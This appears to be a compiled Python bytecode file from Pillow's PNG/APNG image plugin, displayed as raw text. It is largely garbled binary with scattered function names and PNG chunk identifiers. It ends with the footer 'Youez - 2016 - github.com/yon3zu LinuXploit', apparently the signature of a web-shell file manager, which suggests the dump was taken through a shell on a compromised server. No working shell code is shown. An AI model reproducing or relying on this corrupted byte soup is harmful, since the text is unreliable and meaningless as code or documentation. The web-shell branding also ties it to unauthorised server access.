�4�7�G�T�*�*�*�*�*r,N�r%r&r'rJr�r+r,r-r�r�)s2���������+�+�+�+�+r,r�c��eZdZd�Zd�ZdS)�_fdatc�0�||_||_||_dSrF)rGr�r�)rIrGr�r�s    r-rJz_fdat.__init__7s�������
�����r,c��|�|jdt|j��|��|xjdz
c_dS)Nr=r)r�rGr�r�r�s  r-r�z_fdat.write<s:���
�
�4�7�G�S���%6�%6��=�=�=���������r,Nr�r+r,r-r�r�4s2���������
����r,r�c��|j�d|j�dd����}|j�d|j�dd����}|j�d|j�dtj����}|j�d|j�dt
j����}	|rtj|��}
ntj|g|��}
g}d}|
D�]}
tj
|
��D�]�}|j|kr|���}n8|dkr|�
||j���}n|�
|��}|j���}t|t t"f��r|||d<t|t t"f��r|||d<t|	t t"f��r|	||d<|dz
}|�r�|d	}|d
�d��}|d
�d��}|tjkrt'|��dkrtj}|tjkr�|d���}t*j�d
|jd��}|d}|r|�|��}n
d|jz}|�||��n'|tjkr|dd}n|d}t7j|�
d
��|�
d
����}|�d���}|s^||�d��krE||�d��kr,|d
dxx|�d|��z
cc<���nd}d|vr||d<|�|||d�������||dt?t'|����t?|����|r1tAj!|tE||��dd|jzd|fg��d}tG|��D�]�\}}|d}|dsd|jz}n|d}|�|��}|j}|d
}tItK|d����}|�d|��}|�d|	��}||dt?|��t?|d��t?|d��t?|d��t?|d��tM|��tMd��tO|��tO|����|dz
}|dkr5|s3tAj!|tE||��dd|jzd|fg����}tQ|||��}tAj!||dd|jzd|fg��|j)}���dS)Nr"rrr$r&r)rJr����encoderinforr`r)rrrrr�r����F)�
alpha_only)r`r�r�sacTLr�r_r!)*r�rHr�r$r(r/r0�	itertools�chainr	�IteratorrDr�rzrJr��listr�r*r�r)rrjrkrl�croprgr�subtract_modulo�getbboxrbr�r�_saver��	enumerate�int�round�o16rr�r�)r`rGr�rQr��
append_imagesr"rr$r&r��	im_frames�frame_count�im_seq�im_framer��previous�
prev_disposal�
prev_blend�base_imrcr��deltar�rU�
frame_datarl�frame_duration�frame_disposal�frame_blend�fdat_chunkss                               r-�_write_multiple_framesr�AsI���~�!�!�*�b�g�k�k�*�a�.H�.H�I�I�H�
�>���f�b�g�k�k�&�!�&<�&<�=�=�D��~�!�!�*�b�g�k�k�*�h�FV�.W�.W�X�X�H��N���w�����G�U�_�(M�(M�N�N�E��5���
�.�.�������m�4�4���I��K��7Y�7Y��%�.�v�6�6�6	Y�6	Y�H��}��'�'�#�=�=�?�?����c�>�>�'�/�/����/�L�L�H�H�'�/�/��8�8�H��.�-�-�/�/�K��(�T�5�M�2�2�
@�*2�;�*?��J�'��(�T�5�M�2�2�
@�*2�;�*?��J�'��%�$���/�/�
:�',�[�'9��G�$��1��K��"
�$�R�=�� (�� 7� ;� ;�J� G� G�
�%�m�4�8�8��A�A�
� �H�$8�8�8�S��^�^�a�=O�=O�$,�$:�M� �H�$:�:�:�&�t�n�1�1�3�3�G�#�j�o�o�f�b�g�|�L�L�G�#�F�+�D��0�")�,�,�t�"4�"4���%���/���M�M�'�4�0�0�0�0�"�h�&:�:�:�'��m�D�1�G�G�&�t�n�G�"�2��$�$�V�,�,�g�o�o�f�.E�.E�����}�}��}�6�6����%�����)D�)D�D�D�"�k�o�o�g�&>�&>�>�>��]�+�J�7�7�7�;�?�?�"�H�<�<��7�7�7�������,�,�*2��J�'����H�d�;�W�W�X�X�X�X�m6	Y�r
�E�
���C�	�N�N����D�	�	�	����W����E�"�e�,�,��v���7G��G�/T�.U�V�V�V��G�&�y�1�1�**�**���z��d�#���&�!�	+��H�M�)�D�D��f�%�D��}�}�T�*�*�H��}�� ��/���U�;�z�#:�;�;�<�<��$����X�>�>��!�o�o�g�u�5�5��
������L�L���Q��L�L���Q��L�L���Q��L�L���Q��L�L�������I�I��~����{�O�O�	
�	
�	
�	�1����A�:�:�m�:��O���b�%� � ���(�-�/��G�<�=�
�
�
�
� ��E�7�3�3�K��O�����(�-�/��G�<�=�
�
�
�
"�)�G�G�U**�**r,c�,�t|||d���dS)NT)�save_all)r�)r`rG�filenames   r-�	_save_allr��s��	�"�b�(�T�*�*�*�*�*�*r,Fc��|r�|j�d|j�d����}t��}|j�dg��}|rt	j|��}nt	j|g|��}|D]3}	t
j|	��D]}
|�|
j	����4dD]}||vrn�	|�
��}n|j	}|dkr�d|jvrtd|jdzd��}nU|jrLttt|j���d��dzd��d��}nd}|d	kr|d
krd}
n|dkrd
}
nd}
|�d|
��}|j�d
d��|j�dd��|j�dd��|j�dd��f|_	t"|\}}n(#t$$r}d|�d�}t'|��|�d}~wwxYw|�t*��||dt-|jd��t-|jd��|ddd��gd�}|j�d|j�d����}|r>d}|dzt1j|��z}||d|��|�d��|j�d��}|r�gd �}|jD]}}|dd
�\}}||vr#|�|��||||���6||vr||||���H|dd
����r|d
d�}|s
||||���~|j	dkr_|dz}|j�d!��d|�}t|��|kr|dz
}t|��|k�||d"|��|j�d#|j�d#d����}|s|dk�r|j	dkrk|}t?|t@��r||d$|d|����n@tdtd%|����}d&|zdz}||d$|d|����n|j	d'vr9tdtd(|����}||d$tC|����n�|j	d!krA|\}} }!||d$tC|��tC| ��ztC|!��z��nud#|jvrd)}t'|���nZ|j	dkrO|j�"��d*kr2|j�d*d+��}|}||d$|d|���|j�d,��}"|"r[||d-t-tG|"dd.zd/z����t-tG|"dd.zd/z����d0��|rAd1d2g}|jD]5}|dd
�\}}||vr"|�|��||||���6|j�d3��}#|#r[t?|#tHj%��r|#�&d4��}#|#�'d5��r
|#d6d�}#||d7|#��|rtQ||||||��n1tSj*|tW||��d8d9|jzd|fg��|rL|jD]D}|dd
�\}}|dd
����r|d
d�}|r
||||���E||d:d��tY|d;��r|�-��dSdS)<Nr�r�)rrrr�bitsr�r rrr�;�optimizeF�compress_levelr��
compress_type�
dictionaryr,zcannot write mode z as PNGsIHDRrr�)scHRMsgAMAssBIT�sRGBstIMEr�sICC Profiler�siCCPr��pnginfo)ssPLTr�r�r�rsPLTEr�stRNS���r�i��z%cannot use transparency for this moder�Ar�spHYsr�g�?�sbKGDshISTrrrr!seXIfr�r�rw�flush).r�rHr��setr�r�r	r�r�rDrMrurJ�maxr��getdata�
encoderconfig�	_OUTMODES�KeyErrorryr�r5r�rlr3r��remover�rCr`�
getpaletter�r�r��getpalettemoder�r�Exif�tobytes�
startswithr�rr�r��hasattrr�)$r`rGr�r�r�r��modesr�r�r�r�rD�colorsr�rQrtr<r��icc�namer@r��chunks_multiple_allowed�
info_chunkrVr��palette_byte_number�
palette_bytesr��alpha_bytes�alpha�red�green�bluer�rs$                                    r-r�r��s�������*�*��R�W�[�[��9�9�
�
�
�������*�*�?�B�?�?�
��	9��O�M�2�2�E�E��O�R�D�-�8�8�E��	)�	)�F�)�2�6�:�:�
)�
)���	�	�(�-�(�(�(�(�
)�(�	�	�D��u�}�}�����9�9�;�;�D���w���s�{�{��R�^�#�#���b�n�V�4�4�c�:�:�F�F��z�
��S��R�Z�%7�%7�%9�%9�!�%<�!=�!=��!B�C�H�H�!�L�L������R�<�<���{�{�����1���������#�#�T�#�#�D�	����:�u�-�-�
����+�R�0�0�
����?�B�/�/�
����<��-�-�	�B��"�!�$��
������"�"�"�0�4�0�0�0���c�l�l��!�����"�����H�H�V����	�E�
���B�G�A�J����B�G�A�J����
�
�
�	�	�	�;�
:�
:�F�
�.�
�
�]�B�G�K�K�
�,F�,F�
G�
G�C�
�
����g�~��
�c� 2� 2�2��
��b�'�4� � � �	�
�
�g����
�>���i�(�(�D��
)�"F�"F�"F���+�	)�	)�J�"�2�A�2��I�C���f�}�}��
�
�c�"�"�"���b�#�t�$�$�$�$��/�/�/���b�#�t�$�$�$�$��Q�q�S��!�!�#�#�
)�'��!��_�
�!�)��E�"�c�4�(�(�(��	�w�#�~�~�$�q�j����(�(��/�/�0D�1D�0D�E�
��-� � �#6�6�6��U�"�M��-� � �#6�6�6�
��b�'�=�)�)�)��>�%�%�n�b�g�k�k�.�RV�6W�6W�X�X�L��4�|�q�(�(�
�7�c�>�>� �K��,��.�.�
8���b�'�<����#=�>�>�>�>�"�1�c�#�|�&<�&<�=�=���,�.��6����b�'�5��+��#6�7�7�7�7�
�W��
'�
'��q�#�e�\�":�":�;�;�L��E�"�g�s�<�0�0�1�1�1�1�
�W��
�
�+��C����E�"�g�s�3�x�x�#�e�*�*�4�s�4�y�y�@�A�A�A�A����/�/�>���c�l�l�"�	0��7�c�>�>�b�e�2�2�4�4��>�>��E�$�$�V�S�1�1�E� �K��E�"�g�u�\�k�\�2�3�3�3�
�.�
�
�U�
#�
#�C�
�
�
������C��F�V�O�c�)�*�*�+�+���C��F�V�O�c�)�*�*�+�+��	
�	
�	
��%��7�#���+�	%�	%�J�"�2�A�2��I�C���f�}�}��
�
�c�"�"�"���b�#�t�$�$�$��
�>���f�%�%�D��!��d�E�J�'�'�	#��<�<��?�?�D��?�?�?�+�+�	�����8�D�
��b�'�4� � � ��W��r�2�u�g�}�m�T�T�T�T����E�"�e�,�,��v���7G��G�/T�.U�V�V�V��)��+�	)�	)�J�"�2�A�2��I�C���1�Q�3�x���!�!�
)�'��!��_�
��)��E�"�c�4�(�(�(��	�E�"�g�s�����r�7����
���
�
�
�
�
��s�=H�
H3�H.�.H3c��Gd�d��}d�}|��}	||_t||d|��|`n#|`wxYw|jS)z4Return a list of PNG chunks representing this image.c��eZdZgZd�Zd�ZdS)�getchunks.<locals>.collectorc��dSrFr+r�s  r-r�z"getchunks.<locals>.collector.write�s���Dr,c�:�|j�|��dSrF)r@rb)rIr�s  r-rbz#getchunks.<locals>.collector.append�s���I���U�#�#�#�#�#r,N)r%r&r'r@r�rbr+r,r-�	collectorr��s7��������	�	�	�	$�	$�	$�	$�	$r,r�c��d�|��}tt|t|������}|�|||f��dS)Nr,)r�r�rBrbr�s    r-rbzgetchunks.<locals>.append�sM���x�x��~�~���&��v�c�{�{�+�+�,�,��
�	�	�3��c�"�#�#�#�#�#r,N)r�r�r@)r`�paramsr�rbrGs     r-�	getchunksr��s���$�$�$�$�$�$�$�$�$�$�$�

����B�����
�b�"�d�F�#�#�#��N�N��B�N�����
�7�Ns�8�<z.pngz.apngz	image/png)r)=r��logging�rerprr3�enumrr�rrrrr	�_binaryr
r�rrQrr
r�rr��	getLoggerr%rh�compiler�rRr5r�r��	SAFEBLOCKr6r�r$r/r=rBrDr�rr�r�r7r9r�r�r�r�r�r�r�r��
register_openr��
register_save�register_save_all�register_extensions�
register_mimer+r,r-�<module>r�s[��D��������	�	�	�	�
�
�
�
���������������G�G�G�G�G�G�G�G�G�G�G�G�G�G�!�!�!�!�!�!�!�!�!�!�!�!�������!�!�!�!�!�!�!�!�!�!�!�!�	��	�8�	$�	$��	���L�	!�	!�	'��
��
����
��
������
��
!�+
�
��2�"�*�0�1�1���$���
�~�%��������w����*�����G�������/�/�/�/�V�V�V�V�V�V�V�V�r�����3����,M3�M3�M3�M3�M3�M3�M3�M3�hR4�R4�R4�R4�R4��R4�R4�R4�r
 � � �K
�K
�K
�K
�K
�9�&�K
�K
�K
�f

����	�
�	�"����	��!�
�
�	�&���+�+�+�+�+�+�+�+�
�
�
�
�
�
�
�
�}*�}*�}*�@+�+�+�#+�U�����L���>���L�'��w�?�?�?����L�'��/�/�/�����+�Y�7�7�7����,�-���/@�A�A�A����L�'��5�5�5�5�5r,

Youez - 2016 - github.com/yon3zu
LinuXploit